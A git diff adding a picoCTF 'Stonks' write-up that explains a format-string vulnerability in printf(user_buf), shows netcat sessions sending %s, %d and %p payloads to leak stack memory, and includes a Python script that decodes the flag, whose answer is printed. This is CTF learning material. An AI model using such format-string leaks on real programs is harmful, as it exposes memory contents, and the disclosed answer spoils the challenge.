diff --git a/Images/dec_to_txt.png b/Images/dec_to_txt.png
new file mode 100644
index 0000000..b18a0e9
Binary files /dev/null and b/Images/dec_to_txt.png differ
diff --git a/Images/hex_to_txt.png b/Images/hex_to_txt.png
new file mode 100644
index 0000000..f000e00
Binary files /dev/null and b/Images/hex_to_txt.png differ
diff --git a/Phase 2/02 Binary Exploitation.md b/Phase 2/02 Binary Exploitation.md
index 6511b06..44eff1c 100644
--- a/Phase 2/02 Binary Exploitation.md	
+++ b/Phase 2/02 Binary Exploitation.md	
@@ -1,5 +1,130 @@
 # Stonks
 
+**Flag:** `picoCTF{I_l05t_4ll_my_m0n3y_0a853e52`
+
+We're given a C source file `vuln.c` and told there's a vulnerability in it. Browsing through it, this code block seems to be the unsafe one
+
+```
+    char *user_buf = malloc(300 + 1);
+    printf("What is your API token?\n");
+    scanf("%300s", user_buf);
+    printf("Buying stonks with token:\n");
+    printf(user_buf);  ■ Format string is not a string literal (potentially insecure) (fix available)
+```
+
+Here, the final `printf` statement is not a literal. My IDE even gives me a warning here. In this, if I use any format specifiers such as `%s`, `%ld` or `%p`, `printf` will treat them as such and then try to access additional information, potentially causing a memory overflow and/or security vulnerabilities.
+
+We're also given a command `nc mercury.picoctf.net 6989` to run the program on the server. We use this method of injecting format specifiers, in it
+
+1. **Using the character sequence specifier `%s`**
+```
+~ $ nc mercury.picoctf.net 6989
+Welcome back to the trading app!
+
+What would you like to do?
+1) Buy some stonks!
+2) View my portfolio
+1
+Using patented AI algorithms to buy stonks
+Stonks chosen
+What is your API token?
+%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
+Buying stonks with token:
+timeout: the monitored command dumped core
+```
+
+2. **Using the integer specifier `%d`**
+```
+~ $ nc mercury.picoctf.net 6989
+Welcome back to the trading app!
+
+What would you like to do?
+1) Buy some stonks!
+2) View my portfolio
+1
+Using patented AI algorithms to buy stonks
+Stonks chosen
+What is your API token?
+%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d
+Buying stonks with token:
+137020432134524928134515139-134632064-11137011552-134577904-134631993013701568011370204001370204321868786032206820665981240864987867090118349702208124742331601778542892887344842360115-7470979-134391048-13457708840820224010-136086295-134573888-134634048-134635520-7459304-136149363-134634048134516426-74592920-134492407134524928-134635520-134631904-7459240-134468272-134629232408202240-134635520134524928-7459240134515846137011552-7459260-7459240134515689-134634500
+Portfolio as of Fri Nov  3 10:50:09 UTC 2023
+
+
+1 shares of RRJY
+4 shares of GKV
+1 shares of KQ
+108 shares of LE
+18 shares of PQ
+81 shares of OL
+235 shares of TP
+18 shares of LKE
+72 shares of MLW
+Goodbye!
+```
+
+3. **Using the pointer specifier `%p`**
+```
+~ $ nc mercury.picoctf.net 6989
+Welcome back to the trading app!
+
+What would you like to do?
+1) Buy some stonks!
+2) View my portfolio
+
+1
+Using patented AI algorithms to buy stonks
+Stonks chosen
+What is your API token?
+%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
+Buying stonks with token:
+Buying stonks with token:
+0x84c63b00x804b0000x80489c30xf7f68d800xffffffff0x10x84c41600xf7f761100xf7f68dc7(nil)0x84c51800x30x84c63900x84c63b00x6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x35386130
+Portfolio as of Fri Nov  3 11:14:48 UTC 2023
+
+
+3 shares of LGN
+1 shares of PK
+22 shares of GM
+17 shares of IJV
+19 shares of Y
+112 shares of PWU
+Goodbye!
+```
+
+The first attempt gives us nothing, but the second and third give us a sequence of decimals and hexadecimals respectively.
+
+Using the number system converters on [rapidtables](https://www.rapidtables.com/convert/number/), the sequence of decimals seems to give us nothing but meaningless data.
+
+![No data](../Images/dec_to_txt.png)
+
+Cleaning up the hex by removing the digits with a `(nil)` after them and all `0x` indicators except the first one, we get this.
+
+![The result](../Images/hex_to_txt.png)
+
+The flag seems to be, albiet distorted, as `ocip{FTC0l_I4_t5m_ll0m_y_y3n58a025e3ÿº}`.
+
+It seems every four characters in the flag are reversed. We write some python to take care of this
+
+```
+string = "ocip{FTC0l_I4_t5m_ll0m_y_y3n58a025e3ÿº}"
+new_string = ""
+tmp = ""
+
+for i in range(len(string)):
+    if i % 4 == 0:
+        new_string += tmp[::-1]
+        tmp = ""
+
+    tmp += string[i]
+print(new_string)
+```
+
+```
+~/Projects $ python3 main.py
+picoCTF{I_l05t_4ll_my_m0n3y_0a853e52
+```
+
 # babygame01
 
 # buffer overflow 0